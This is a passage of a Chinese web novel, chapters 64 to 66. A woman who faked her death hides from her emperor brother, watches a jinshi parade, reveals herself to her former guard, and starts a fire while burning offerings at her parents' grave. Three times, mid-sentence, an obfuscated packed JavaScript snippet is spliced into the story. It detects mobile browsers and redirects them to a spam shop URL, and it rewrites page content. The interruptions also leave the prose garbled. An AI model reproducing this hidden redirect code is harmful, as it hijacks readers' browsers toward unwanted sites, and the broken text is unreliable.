失而复得,得而复失,第二次的打击,将比第一次更沉重、更惨烈。 大哥苍白冷峻的面容在脑海里浮现,姜六航的心像被一只冰冷的手狠狠攥住,尖锐的刺痛蔓延开来。 绝不能让大哥知道她还活着。 此刻,姜六航无比庆幸。 幸好她谨慎,最初便让今禾姐严令百晓楼参与之人,不得泄露在寻找天心草。 幸好从庸叔叔深恨方三,发现真相后,将错就错,继续大张旗鼓地追捕他,以致至今无人知晓,增气丹和龙影面具,都是被赤霄剑客拿走。 幸好师父以她为耻,从不和外人提起她,所以没从师父口中传出这些消息。 “不能去找皇上要天心草。”她道,声音紧绷。 孙从庸不解:“为什么?” 宋今禾指尖轻抚书页边缘,抬眼看来,眸底了然,带着一丝玩味。 姜六航避开她的视线,道:“我以前和皇上有过节,幸好他不知我身份。如果以后他知道我骗走天心草,新仇旧恨,报复必是不死不休。” “过节?什么过节?”孙从庸愣了一下,急忙问。 “是啊,你和皇上有什么过节?说来听听,或许我们能给你想办法化解。”宋今禾也问,脸上露出担忧,但那双桃花眼里揶揄的光几乎要溢出来。 姜六航不朝她多看一眼,祭出回避的万能法宝:“和我这些年做的那件事有关。” 孙从庸急得跺脚:“到底什么事,问你又不肯说。你怎么惹上皇帝了?麻烦。我们虽不怕他,但他手下人多,报复起来也头疼!” 他焦躁地踱了两步,万分不情愿地问:“那过节大不大?能不能赔个罪,送些东西化解掉?” 要衡儿向人赔罪,他很不情愿。 但救命要紧,只得忍一忍。 姜六航摇头:“我把他得罪狠了,绝无化解可能。” 孙从庸在屋内团团转,嘴里不停地嘀咕:“怎么办?” “潜入皇宫?不行,进不去。” “趁皇帝在此,捉住他下毒逼他听话?” 宋今禾正在慢慢品茶,一口呛住。 看着为自己心急如焚的从庸叔叔,想到自己说的谎话,姜六航正自愧疚,忽闻那胆大包天之语,吓了一跳,连忙道:“我有办法。” 两人都朝她望过来。 姜六航:“我认识一个人,能自由出入皇宫,可以请他帮忙找寻天心草,摘下六片叶子,悄悄带出皇宫。” 宋今禾放下茶杯,发出清脆一响。她眼波流转,悠悠道:“哦?你交游当真广阔,连这等贵人都识得。偷盗宫禁之物,可是杀头大罪。他甘愿为你冒此奇险,这交情,不一般啊。”说到最后,尾音上扬。 没等姜六航答话,孙从庸猛地停步,连连摇头:“不行不行不行。” 姜六航和宋今禾对望一眼,都觉诧异。 从各方面考虑,这法子其实都很靠谱。鬼手神医向来百无禁忌,连皇帝都敢毒,绝非顾忌偷盗皇宫宝物的人,却为何如此激烈反对? 宋今禾问:“孙前辈,为何不行?” 孙从庸:“天心草离土或摘叶后,药气三息之内即逸散一成。治疗寻常病症无妨,但增气丹的毒性霸道,且在衡儿体内多年积累多年,必须将药效用到极致,一丝一毫都不能浪费,才有望成功。”他神色凝重,“叶子摘下,必须在三息之内服下。等带出宫,药气已散,就迟了。” 姜六航如被当头一棒击下,睁大眼:“那就是说,我必须本人入宫,摘下叶子当场服下?” 无数念头在她脑中炸开。 如何潜入守卫森严的皇宫? 如何不暴露身份? 六片叶子,三息……入口前来得及清洗吗? 孙从庸斩钉截铁:“对!” 姜六航:“三息,连熬药都来不及,就……干嚼?” 孙从庸:“对。” 他紧接着补充:“且一次只吃两片,然后我用药化开引导,压制毒性。五个月后,再服两片,再六个月后,服最后两片。” “还要分三次?前后差不多要一年?”姜六航脱口而出。 孙从庸没好气地白她一眼:“你以为增气丹的毒是儿戏?那么容易清除?让你不问清楚,乱吃药!” 姜六航缩了缩脖子。 宋今禾合起那泛黄书册,道:“一步步来,先查清楚皇宫里是否有天心草,如果有,再考虑进皇宫的办法。” 议定之后,孙从庸离开,去收拾行礼准备启程。 姜六航留了下来,她还有些事要和宋今禾商议。 此去如果没找到天心草,她不打算等两年,免得从庸叔叔研究那套根本不存在的针灸方法,白耗心力。 到时她会找个借口,说要提前进山谷。 如果找到了天心草,她要一个合理的身份进入皇宫,为此需做万全的安排,谨防暴露身份。不管是赤霄剑客,还是姜帅的身份,都务必捂得紧紧的。 在消息的获取、打探、拦截、伪造等方面,唯有百晓楼可与锦衣卫抗衡。她需要今禾姐的帮忙。 —— 这天将近午时,秦信批了几本奏折,放下笔,端起杯子喝了几口茶,问道:“赤霄剑客没来?” 冯简躬身:“回皇上,没来。”他在门口望了几回了。 秦信没再说话,搁下杯子,又翻开一本奏折。 冯简无声地退出屋,抓住一个仆从问了几句话,脸上蓦地发僵。回到屋内,他站在一旁,不时地悄悄瞄一眼自己的主子。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950323|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么事?说。”秦信淡淡道,笔下未停。 冯简一个激灵,脱口而出:“赤霄剑客走了!” 笔尖在纸面一顿,洇开一小团朱砂。 秦信抬头,望向冯简。 冯简:“臣刚才问了人,今天破晓时,赤霄剑客便与鬼手神医一同下山离开了。” 房间里寂静无声。 过得一会,秦信勾唇嗤笑道:“呵,又是满嘴谎言。” 冯简:“?” 秦信不再看他,垂眸,重新提笔。奏折上落下朱痕,力透纸背。 女子昨天才和他说,还要在此停留三四日,言犹在耳。 这反复无常、谎话连篇的性子,可和六航一点不像。 也好。 他已看清这女子,可将其从脑海中彻底驱除了。即使她日后到京城,也不必再和她见面。 —— 姜六航自不知晓大哥给她牢牢贴上了“满嘴谎言”的标签,她和孙从庸离开百晓楼后,直奔云山。 几日后,抵达云山,姜六航立刻开始忙碌起来。 她必须抹去一切可能暴露的痕迹,消除一切隐患。 所有留下的字迹,从五岁到十五岁的功课、随手的涂鸦,一张张地翻找出来,亲眼看见它们在火焰中蜷曲、焦黑,化为灰烬。 那套爹娘珍藏的婴儿衣裳,在她出生之时,姜大人亲手给她穿上的衣裳,被她仔细叠好,收进包裹里。 取下脸上的面具,避开从庸叔叔,埋在了松树旁,和王袍、赤霄剑,以及那张姜帅的面具一起。 此去京城,她和从庸叔叔都要改换形貌,这张赤霄剑客的面具用不上了。 到云山的第二天,一切准备就绪,两人商定,休整一晚,翌日启程赴京。 傍晚,从庸叔叔又在研究药方,姜六航独自在屋外徘徊。 她抚摸着松树上的三个字,指尖一遍遍地顺着笔迹划过。 她坐上屋前两棵树间架着的秋千,高高地荡起,山风掠过耳畔。 她赤脚走上绕着房屋的一条石子路,路上的石头是她和爹娘一颗颗捡来,颗颗圆润光滑,差不多大小。 突然,身后一道凌厉杀气袭来,姜六航猛地转身。 师父黄超不知何时已站在路旁,身形如标枪挺直,右手按在腰间剑柄上,死死地瞪着她。 一瞬间,仿佛时光倒流,师父捉住贪玩的她,恼怒地瞪着她,让她去练剑。 “叽叽。”一声鸟叫传来,姜六航猛然回神,对上师父的视线。 还是不同的,今非往昔。 师父的眼里,多了许多以前没有的情绪,愤怒、痛心、失望……还有些复杂的,看不清究竟是何。 姜六航慌忙套上鞋子,涩声叫道:“师父!” 黄超沉着脸,声音硬邦邦砸过来:“别叫我师父!” 姜六航闭嘴。 两人隔着几步,沉默对立,空气沉重得能拧出水。半晌,黄超喉结滚动了一下,生硬地问:“你的身体……不要紧了?” “怎么不要紧?黄超!你把衡儿害惨了,还敢上门来!”一声暴喝传来,孙从庸旋风般奔来,手里拿着一个瓶子,扬手就要掷向黄超。 姜六航大骇,不知道那瓶子里装的什么,但看情势,绝不是好东西。她一个箭步冲上死死抱住孙从庸手臂,扭头急喊:“师父!快走!” 黄超嘴唇翕动,最终没说出什么,猛地转身,几个起落便窜入林间。 孙从庸冲着他的背影怒吼:“我这就带衡儿去北狄国寻药!两年后再回来找你算账,你给我等着!” 等师父走远,姜六航才松开手,疑惑地问:“从庸叔叔,你干嘛骗师父我们去北狄?” 孙从庸哼道:“你不是怕暴露行踪?他是最容易找到我们的人,让他以为我们去了北狄国,这两年他就不会到处瞎找,你好安心治病。” 姜六航由衷赞道:“从庸叔叔,你真聪明!” 孙从庸抬着下巴,得意地“嘿嘿”了几声。 65. 第 65 章 宣德二十九年,四月二十日,新帝登基,改国号夏,年号兴元。当年七月,朝廷开科取士,此后都定于七月国考,八月中旬放榜。 今日正是进士游街的日子,京城万人空巷,街道两旁挤得水泄不通,人人争睹新科进士的风采。 扮成父子的姜六航和孙从庸两人挤进一座酒楼,随着伙计上了第二层。大堂里人声鼎沸,唯有两桌尚有余位。 一桌坐着两个年轻文士,都穿着长衫,一个宝蓝色,一个墨绿色,正相谈甚欢。另一桌则只孤零零坐着一人,背对众人,闷头饮酒。 伙计毫不犹豫引着他们走向文士那桌,赔笑道:“二位客官,今日实在座满,这两位客人无处落脚,可否行个方便,拼个桌儿?” 两人看过来,宝蓝衣裳点头,语气温和:“请便。” 姜六航和孙从庸道了谢,各自坐下。 正此时,一楼传来声音:“小钟,楼上可还有位置?” 伙计扯着嗓子回道:“掌柜的,满啦!一个空儿都没啦!” “咦?”在座中响起诧异的低语,“那桌上不明明只坐了一人么?” 今天这样的盛事,家家酒楼人满为患,拼桌的比比皆是,众人都能体谅,实在不愿拼桌的早进了包间。 立刻有几个声音制止:“嘘,别说了。” 姜六航从那独坐一桌的人背影上收回视线,往楼下望去,只见一片人山人海,个个脸上洋溢着兴奋与期盼。更有姑娘提着花篮,跃跃欲试。 “好热闹啊!”姜六航感叹。 “当然热闹!”宝蓝衣裳笑道,“这可是进士游街,三甲夸官!光宗耀祖、鱼跃龙门,哪个不羡慕?但凡得闲的都来沾沾这文曲星的喜气。京城本就人多,更有四方来客,岂能不热闹?” 姜六航应和:“正是正是,我们也是外地来的,可真幸运,正好赶上这场热闹。” 墨绿衣裳接话:“若论幸运,还得是本朝学子!从前想为官,那得投个好胎,如今不同,唯才是举。寒门子弟,终得一条通天大道。尤其是这国考,非比县试州试,一朝得中,最次也可授七品官,那是真真正正的改换门庭!” 说到这个话题,众人都来了谈兴,也不拘哪一桌,相熟与否,纷纷你一言我一语,热烈地议论起来。 “本朝科举已行四年。头一年授官,科举出身者不过小半,第二年,已占七成,到第三年,便是皇亲国戚、高官子弟,若无真才实学通过专门考试,或立下大功,也休想轻易得官。诸位说说,古往今来,哪朝哪代有过这般公平之事?咱们皇上,真乃圣明天子!” 周围一片附和声:“是啊是啊!圣明天子。” 姜六航与有荣焉,正好也吃饱了,搁下筷子,一心一意地听众人谈论。 这科举制还是她讲给大哥听的,但到底会试是考举人还是考进士,几年一考,考秀才的又叫什么试,这些她怎么都想不起来。 如今看来,大哥推行的这套科举制度和她上辈子历史上的有差异,效果却也很不错。 有人道:“古往今来多少帝王,也唯有咱们皇上才有这等魄力!不论门第,不论男女,不论贵贱!换了旁人,谁敢?不怕被那些世家大族掀翻了!” 姜六航连连点头。 又有人道:“皇上自然有魄力,却也因这制度早有根基。自皇上起事,铁骨军所到之地,官员皆凭才干选拔,铁骨军内部,更是能者上,庸者下。经年累月,世人渐已认同此理,那些冥顽不灵的,也早被皇上收拾了。故而立朝之后,科举推行天下,才未遇太大阻挠。” 这话说得条理清晰,深入浅出,姜六航惊异地循声望去,却是一个身穿长衫的中年文士,发觉她的视线,朝她善意地笑了笑。 “听闻今科状元,是皇上母家的亲戚?嫡亲的表兄?”忽有一人道。 “恍惚有此一说,却是不知详情。” 姜六航闻言很是吃惊。 大哥登基后,身世已非秘密。 大哥母亲有两位兄长,当年举家流放时,二兄尚未娶亲,大兄成亲两年,妻子怀胎八月。流放路上难产而亡,胎儿也闷死在腹中。一家人在官差的催促下,忍着悲痛将母子两就地匆匆掩埋。 后来大哥也寻过舅母坟茔,可惜当时流放时大哥母亲年纪还小,路上又病得昏昏沉沉,竟是不知确切的地址。 如今却冒出个状元表兄? 姜六航既觉得不可信,又忍不住生出一丝期盼。 大哥因裴永年之故,对裴家并不亲近。若真有一位血脉相连的表兄在世,大哥便不再是举目无亲了。 “我知道!皇上是在召见前三甲时当场认的亲,我侄女正是今科探花,就在一旁亲眼所见。”邻桌一个五十来岁的男子朗声道。 众人连忙请他详述。 男子声情并茂,语调抑扬顿挫:“皇上召见三甲,依次垂询。先是探花,再是榜眼,待问到状元时,可不得了!这位秦状元,如今的父母并非亲生,他竟是从死人腹中剖出来的!” 一片倒吸冷气之声响起,众人眼睛瞪得溜圆,连声催促:“竟有这等事?快说快说!” “三十几年前,一队商旅行路时,见路边野狗刨一座新坟,他们好心赶走那狗,正要重新培土,却见坟中女尸腹部微动。同行大夫赶紧查看,原来女子尚存一丝气息,想是先前闭过气去,被误认为已死,把她埋了。不过即使不埋,女子也是活不了的,可她腹中胎儿或可一救。那大夫医者仁心,当即施救。好一番忙乱后,就在女子咽气的那一刹那,孩子终被拉了出来。后来商旅将婴孩交给路过村庄的一对夫妻抚养,便是秦状元如今的养父母。” 众人都啧啧称奇,又问:“倒是和皇上舅母的遭遇对上了,可如何断定那女尸便是她?” 男子道:“皇上问秦状元,可有找到亲生父母的线索,秦状元便取出一块半圆玉佩,言道此乃坟中女子贴身之物。皇上接过玉佩细看,当即命人取来另一块半圆玉佩。两块玉佩一合,严丝合缝,正是一个完整的圆。皇上放下玉佩,当场便认下了这位表兄!” 男子说完,酒楼里“轰”的一声,议论声四起。 正此时,远处锣鼓喧天,兴奋的高喊穿透嘈杂:“进士来了!进士游街了!” 人群瞬间沸腾,争先恐后扑向窗边。 姜六航占了便利,正好坐在窗边,扭头望去。只见锣鼓开道,甲士护卫,一队人马浩浩荡荡行来。最引人瞩目的,是当先三骑,身披红绸,意气风发。 姜六航目光锁定中间那位,是个三十几岁的男子,相貌普通,面带朴厚。他旁边两人,分别是榜眼和探花。 三人中,状元模样只称得上周正,榜眼也平平无奇,倒是探花最为出色,正当韶华,神采飞扬,引得道旁姑娘们手中的鲜花尽数朝她抛去。 突然,变故陡生。 驮着秦状元的骏马一个趔趄,前蹄猛地跪地。秦状元猝不及防,身子一歪,险险就要坠马,幸得旁边的榜眼眼疾手快,一把将他扶稳。秦状元惊魂未定,忙下马查看。队伍停滞,两名军士迅速上前检视马匹。 “裴轩!你为何拿石头砸马?”一个清脆的少女声音喝问。 姜六航循声望去,只见道旁站着五六个少年。都是熟面孔,四月才在和州见过——应辉、姜持、唐小豆……刚才出口质问的正是姜持。 裴轩所站之处,离少年们不过三四人之隔。此刻,那几人竟硬生生在拥挤的人群中挤出一道缝隙,往后缩了,把裴轩和少年们中间的距离空了出来。 裴轩吊着眉梢,翻了个白眼:“你哪只眼睛看见我砸马了?” 唐小豆:“我也看见了!” 裴轩:“你看错了!” 唐小豆:“没看错,就是你,用石头砸的!” 裴轩:“说话要有证据!” 应辉:“我也看见了,可以作证。” 裴轩:“你们是一伙的,作的证不能算数!” 开道的军士们朝这边望了几眼,首领走到秦状元面前,和他低语几句。秦状元抬眼望来,目光在裴轩脸上扫过,面上现出一点畏缩。最终,秦状元只是摆了摆手,示意无碍,重新上马。 队伍继续前行。 裴轩得意洋洋,吹了声口哨。 少年们气得红了脸。 裴轩正自得意大笑,冷不防“哎哟”一声痛呼,抱住了脑袋,怒吼:“谁?哪个王八蛋打老子?” 姜六航抬眼望向对面茶楼二楼,一扇窗后,裴佑探出半个身子,面罩寒霜,冲着下面冷冷道:“滚回家去,别在这儿丢人现眼!” 裴轩怒道:“你管得着吗?” 裴佑眉峰一挑,煞气顿生:“不怕丢脸?好!成全你!”话音未落,手腕一抖,一根啃剩的鸭骨头带着劲风,“啪”地砸在裴轩脸上。 “哎呦!”裴轩痛叫。 不等他骂出口,第二根骨头又至,差点砸到他嘴里,吓得他赶紧闭嘴。 裴佑还不罢休,鸭骨接二连三,裹挟着内力,抽打在裴轩脸上,发出一连串清脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954357|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响亮的“啪啪”声。 姜六航拍窗大笑。 孙从庸也看得有趣:“这丫头是谁?性子我喜欢!” 不等姜六航回答,旁边已有看客抢着道:“她是小裴国公,在外驻守,这月初才回京述职。楼下那个是她哥哥。” 满堂哄笑声中,裴轩抱着头,悻悻地逃了。 窗边的人见再无热闹可看,先前用完餐的便下楼离去,未用完的则回到座位继续吃喝。 姜六航也收回目光,回过头。 众人尽皆聚在窗边,就显得大堂那头的独自一人格外突兀。 方才众人都抢着去看进士游街,他却一动未动。周边如此喧闹混乱,他竟一眼不看,只一口一口闷头灌酒,仿佛周遭一切与他无关。桌上已放了三个空酒坛,他仰脖喝干第四坛,将空坛重重顿在桌上,声音嘶哑地招手:“伙计,结账。” 等他脚步踉跄地下了楼,身影消失,便有人低声议论起来。 “这人是谁啊?” 立即有人答道:“是武节伯,御林军右卫将军,沈伯爷。。” 问话之人吃了一惊:“伯爷?我还以为是个寻常醉汉呢。看他那喝法,像是心里头有天大的苦楚。这等贵人,还有何不顺心?” 答言者叹气:“沈伯爷原是衡王的近卫。衡王被火困死那日……唉,沈伯爷先就被斩月楼的歹人用迷药放倒了,未能护在衡王身边,因此自责不已。皇上登基后,念其忠勇,封了伯爷,授了御林军的职。可沈伯爷极少去当值,日日来此买醉。你若常来这酒楼,定认得他。” “我确是头一回来这里,唉,原来如此。”问话者也跟着叹气,“其实,这也怨不得沈伯爷吧?斩月楼派出的必是顶尖好手,连衡王都被困死,何况是他?他若未被迷倒,冲上去也不过是枉送性命罢了。” “谁说不是呢?理是这个理,可心坎儿过不去啊。” “衡王被火困死那日……迷药……”姜六航耳边嗡嗡作响,一股愧疚感瞬间攫住她的心脏,让她几乎喘不过气。 她没想到,沈以贵将她的死归咎于自己,颓废三年。 这般模样,怎能想象得到,以前的那个沈以贵,喜爱热闹,笑口常开,无论得意、戏谑还是算计,脸上总带着笑容。 脑中闪过沈以贵一巴掌打在自己脸上的画面,姜六航不觉攥紧了桌沿,指节泛白。 “我先去找人。”她凑到孙从庸耳边,低声道,“一个时辰后在约定地点会。” 孙从庸会意,知她要去找那个能随意进入皇宫的朋友,点头道:“好。自己当心。” —— 裴轩揉着被鸭骨头砸得生疼的脸颊,骂骂咧咧地进入正房,屋里母子俩同时朝他望过来,一个七八岁的男孩扑过来抱住他的腿,叫:“爹!” 裴轩满腔郁怒顿时烟消云散,弯腰一把将儿子抱起,搂在怀里坐下,问道:“今日的功课如何?先生教的可都懂了?” 男孩挺起小胸膛,流利地回答了父亲提出的几个问题。 裴轩高兴地揉了揉他的头:“好儿子!给爹争气!咱们裴家如今可就你一根独苗苗,将来说不定有天大的造化等着你呢!” 坐在一旁的女子眼中闪过一丝惊悸,飞快地垂下眼睑,手指绞紧了拿着的帕子。 —— 与此同时,姜六航来到了沈以贵的武节伯府外。 她悄无声息地潜入,一间间屋子搜寻过去,最后,在一间弥漫着浓烈酒气的房子里,找到了沈以贵 他仰面躺在床上,一动不动,散发出一阵阵酒味。 姜六航深吸一口气,压下翻腾的心绪,闪身入内。她没有犹豫,手腕一翻,横刀出鞘,刀光一闪,带着凌厉的破空声,直刺向沈以贵。 沈以贵霍地睁眼,瞳孔剧烈收缩,身体快过思维,猛地向床内一滚,险之又险地避过刀锋,反手抓起枕边长剑。 “铿!”剑鞘堪堪挡住紧随而至的第二刀,冰冷的刀锋几乎擦着他的鼻尖掠过。 电光石火间,两人已过了五招,沈以贵醉眼中陡然爆射出难以置信的光芒。 这招式、这角度、这劲力、这应变……数年间,他曾与之对招过千百次,决不会认错! 是—— 第六刀劈过来,还未碰触到沈以贵的剑,剑却“砰”地一声掉在了地上。 沈以贵眼眶通红,死死盯着眼前戴着帏帽的人,目中如翻涌着滔天巨浪。他脸上肌肉抽搐,喉结滚动半晌,终于发出一声野兽哀嚎般的嘶喊:“将军!” 66. 第 66 章 当晚,夜半。 京城北郊,月色清冷。 姜六航和孙从庸肩上套着绳索,一人拖着一个木排前行。 木排十分简陋,是姜六航用刀砍下路旁的树木,劈开,再用藤蔓捆扎在一起拼成的。此刻两个木排上面堆满了纸钱、纸衣、纸屋,高高地叠起,若不是用藤索固定在木排上,早就散落开来。 “从庸叔叔,你还行吧?”姜六航侧头问。 孙从庸一个激灵,瞪眼:“我怎么不行了?” 姜六航无辜回望:“从庸叔叔你要是累了,把木排给我,我能拉两个。” 孙从庸傲然道:“小瞧谁呢?这点东西能累到我?倒是衡儿你,要是想歇歇,把木排给我,我拉三个都不成问题!” 在姜六航表示不用后,他板起脸,正色道:“在外面,你该叫我爹。” “这荒郊野岭的,哪有人?再说,即使有人来了,我也能听见。” 孙从庸摆起叔叔的架子,一本正经地教训道:“小心驶得万年船。” 姜六航挑眉:“那从庸叔叔你还叫我‘衡儿’?从庸叔叔你要小心啊,以我的功力,有人靠近绝对能发觉,但从庸叔叔你就不一定了。” 孙从庸垮下脸:“……哼!” 两人说着话,顺着路转了个弯,孙从庸指着前方:“再走一里路,就到你爹娘的坟了。” 姜六航顺着看过去,握着藤索的手攥紧,一股酸楚直冲到嗓子眼。 九年了。 以前的纸钱,没在爹娘面前烧,也不知他们能不能收到。 这次她买了很多很多,九年的份,一次补齐。 “你爹娘的坟是皇上给修的,修得很气派,就是太远,我每年赶来一次,很不方便。要是葬在云山就好了。”孙从庸道。 姜六航动了动唇,犹豫了一下,最终还是忍不住问道:“衡王的遗言不是说,让皇帝把两位居士的遗骨交给破山剑安葬吗?为何会葬在京城?” 孙从庸意外地看过来:“你怎知衡王这样说的?” 天下皆知,衡王受两位居士恩惠,临终遗言,请皇帝寻到他们尸骨。于是皇帝明发诏书,全天下搜寻,半年后终于找到。 却是当年一个农夫悄悄把被杨承扔到荒地的两位居士尸骨埋了,过了这些年,直到如今看到皇榜,才去当地官府说出来。 可民间并未听闻,衡王遗书上还写着,请皇帝把两位居士的尸骨交给破山剑黄超安葬。 姜六航垂眸,避开身边人的视线:“我……是听今天去找的那个朋友说的。” “哦。”孙从庸恍然,转而无奈道,“当年皇帝找到黄超那混蛋,对他说,衡王留下的唯一遗言就是这件事,所以希望把两位居士葬在衡王附近,让衡王九泉之下也安心。” 姜六航心口像被蓦地撞了一下,又闷又疼。 “那混蛋不愿,可若不是衡王临终托付,根本寻不回你爹娘尸骨,只得答应了。”孙从庸指了指前面,“你爹娘的坟过去不远,就是衡王的坟,我每次来,都去拜祭一番。” 他感叹道:“说是受过你爹娘的恩惠,可你爹娘生前从未提过,许是萍水相逢的一点援手,衡王却一直记着,是个重情义的。等会儿,你也去给他磕个头。” 姜六航含糊应道:“哦……好。” 心里却暗道:才不拜。 从庸叔叔每年都拜,大哥必定也是每年都拜,师父大概也是每年都拜。 那匪徒,赚大了。 可她又不能杀个好人代替自己躺在那里面。 月光如水,静静流淌。 离坟茔只有二十几步时,姜六航却骤然停下脚步。 孙从庸奇怪道:“前面就是啊,怎么不走了?” 姜六航紧紧盯着那坟茔,指甲深深掐进掌心,半晌,才从喉咙里挤出艰涩的声音,带着颤抖:“从庸叔叔,你说,爹娘会不会怪我?怪我给杨承下跪?他们会不会不想看见我?要不,我不过去了,就在这里烧?” 听得这话,孙从庸心头蓦地一酸,眼眶发热。 他的衡儿啊,洒脱爽朗,无所畏惧,敢孤身一人约战天下英豪,敢一剑挑八盟十二帮,此刻在自己爹娘的坟前却这般惶恐畏缩。 “那是你爹娘!天底下最疼你的爹娘!他们只盼你好好的,平平安安的,怎会怪你?”孙从庸一把拉住她的手腕,声音坚定,“走,跟我过去!九年了,他们定是想好好看看你。” 两人走了过去,在坟前跪下,恭恭敬敬磕了三个头。 孙从庸起身后,却见侄女仍旧跪着,伸出手在墓碑镌刻的名字上细细描摹,嘴唇抿得死紧,眼底水光浮动,却倔强地不肯落下。 这孩子,心里该藏了多少话,多少委屈啊,却偏偏把九年的经历捂得严严实实,不肯说出来。 他在跟前,衡儿怎能痛快倾诉? 那些埋在心底的悲恸,憋了整整九年,不宣泄出来,怕是要生生憋出病来。 他拍了拍膝盖上的尘土,对跪在墓前的人道:“衡儿,我脚程比你慢,先回去客栈,你把纸钱烧了再走。” 姜六航低低应道:“嗯。” 孙从庸走了两步,又不放心地回头,叮嘱道,“别耽搁太久,我在客栈等你。” 悲伤要宣泄出来,但也不能哀毁太过。 “嗯。” 听到侄女应下,孙从庸这才离开。 风骤然大了,呜呜咽咽地刮过旷野,卷起枯叶打着旋儿。 姜六航背对着风来的方向,侧身靠着墓碑,用身体和石碑围出一小片避风的角落。她点燃那座纸屋,看着它在火焰中扭曲、坍塌,接着,她把纸衣、纸钱慢慢放入火堆。 火光舔舐着纸页,发出细微的噼啪声。 姜六航张了张嘴,喉头堵得厉害,试了几次,才发出沙哑的声音:“……爹,娘。” 爹,娘,世上真有魂魄吗?你们,能看见我吗?能听见我吗? 风声呜咽,像是在回应。 姜六航又唤了一声,声音稳了些:“爹,娘。” “你们在那边,还好吗?钱够用吗?” “你们……还认我这个女儿吗?对不起,我不想死,不亲手为你们报仇,我不甘心。爹、娘,你们别怪我,别不认我。” 一片烧焦的纸灰被风吹起,粘在她的手背上,她却浑然不觉得烫。 月亮彻底被厚重的云层吞噬,风“呼——呼——”地吹,一声比一声大,卷起地上落叶,一圈圈飞旋。尘土扬起,在空中弥漫。姜六航却仿佛隔绝了外界的一切,只是机械地将纸钱投入摇晃的火堆,对着墓碑絮絮低语。 “爹、娘,如今百姓的日子越来越好过,你们一直向往的国泰民安、民富国强正一步步地实现。” “爹,娘,我认了个义兄,他很好很好。”她的声音带上了一丝迷茫,“他喜欢我,我,我定也是喜欢他的。可我分不清,这喜欢里,有没有那种喜欢。我一直把他当哥哥的。”她顿了顿,手指无意识地捏紧纸钱,“要是我的病能治好,能留下来,我带他来,给你们瞧瞧……” 话音未落,异变陡生! 一阵旋风卷过,火堆里几张燃烧的纸钱猛地被掀飞出去,落进路旁茂密的草丛里,火苗“呼”地窜起。 姜六航悚然一惊,抬头望去,只见风势猛烈,草叶疯狂摇摆,那点火苗,“轰”地燎燃成一片。 不好! 这火一旦蔓延,后果不堪设想! 姜六航立刻起身,身形如电,掠向起火点,用刀砍下一大截带叶的树枝,拿起就奋力朝火焰扑打过去。 终于扑灭面前的火焰,她刚要松口气,陡然发觉不对,回过头去,只见空中无数燃烧着的纸钱飞舞,纷纷扬扬,洒落到四周的草丛、荆棘中。瞬间,七八处几乎同时窜起新的火焰。 原来是那两个木排上堆放的纸物被火星点燃,那些本就是极易燃烧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962157|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物件,霎时腾起一人多高的烈焰,被风一卷,飘向空中。 火光冲天,将半边夜幕都映红了。 —— 距此不远,衡王墓旁一排砖房里,值夜的军士首先发现了异常。 “陆校尉!东边起火了!” 听见外面的叫声,陆戈从床上一跃而起,抄起佩刀,仅披了件外衣就冲出门外。抬眼望去,东边天际一片红色,看位置,正是两位居士坟茔所在。 “所有人!集合!跟我走!”他厉声大喊。 军士们迅速从各处聚拢来在他面前列队,陆戈一马当先,朝着火光方向疾奔而去,军士们紧随其后。 与此同时,几间供驻守道士居住的屋子里也冲出三人,披着道袍,也急急忙忙地跟了上来。 陆戈瞟了他们一眼,没理会。 很快,他们到达了起火点附近。 隔着一段距离,陆戈锐利的目光穿透火光与烟尘,发现那些散落各处的火点在渐次熄灭,显然有人在奋力扑救。等他们近前时,只剩下最后两处,烈焰熊熊,一时难以控制。 火光摇曳中,一道人影如同鬼魅般在场中穿梭。 那速度快到了极致。 上一刻还在这边扑打火苗,下一刻已然出现在数丈开外的另一处起火点。 若非陆戈死死盯住,几乎要以为那人是在瞬移。 “鬼……鬼啊!”身后传来一声变了调的恐惧尖叫。 陆戈百忙之中回头一瞥,却是其中一个道士,面无人色,双眼瞪得几乎要凸出来,直勾勾地盯着那道在火光中穿梭的飘忽影子,浑身抖着。 陆炎:“……” 他心中暗自鄙夷。 真是没见识。这轻功虽世所罕有,那也是人,不是鬼。 姜六航看见军士们,先是大喜,接着听见这声叫,颇是无语,手上扑火的动作却不敢停下。火势猛烈,她不敢在没人接手之前跑掉,只是早在军士们奔来之时撕了一块衣摆围在脸上。 见军士们开始扑打火焰,姜六航转身要走,陆戈喝道:“你是谁?别走!有话问你!” 姜六航充耳不闻,向前掠去。 “结阵!拦住他!”陆戈毫不犹豫,厉声下令。 这人身法太诡异,且这火大概也和他有关,必须留下问个清楚。 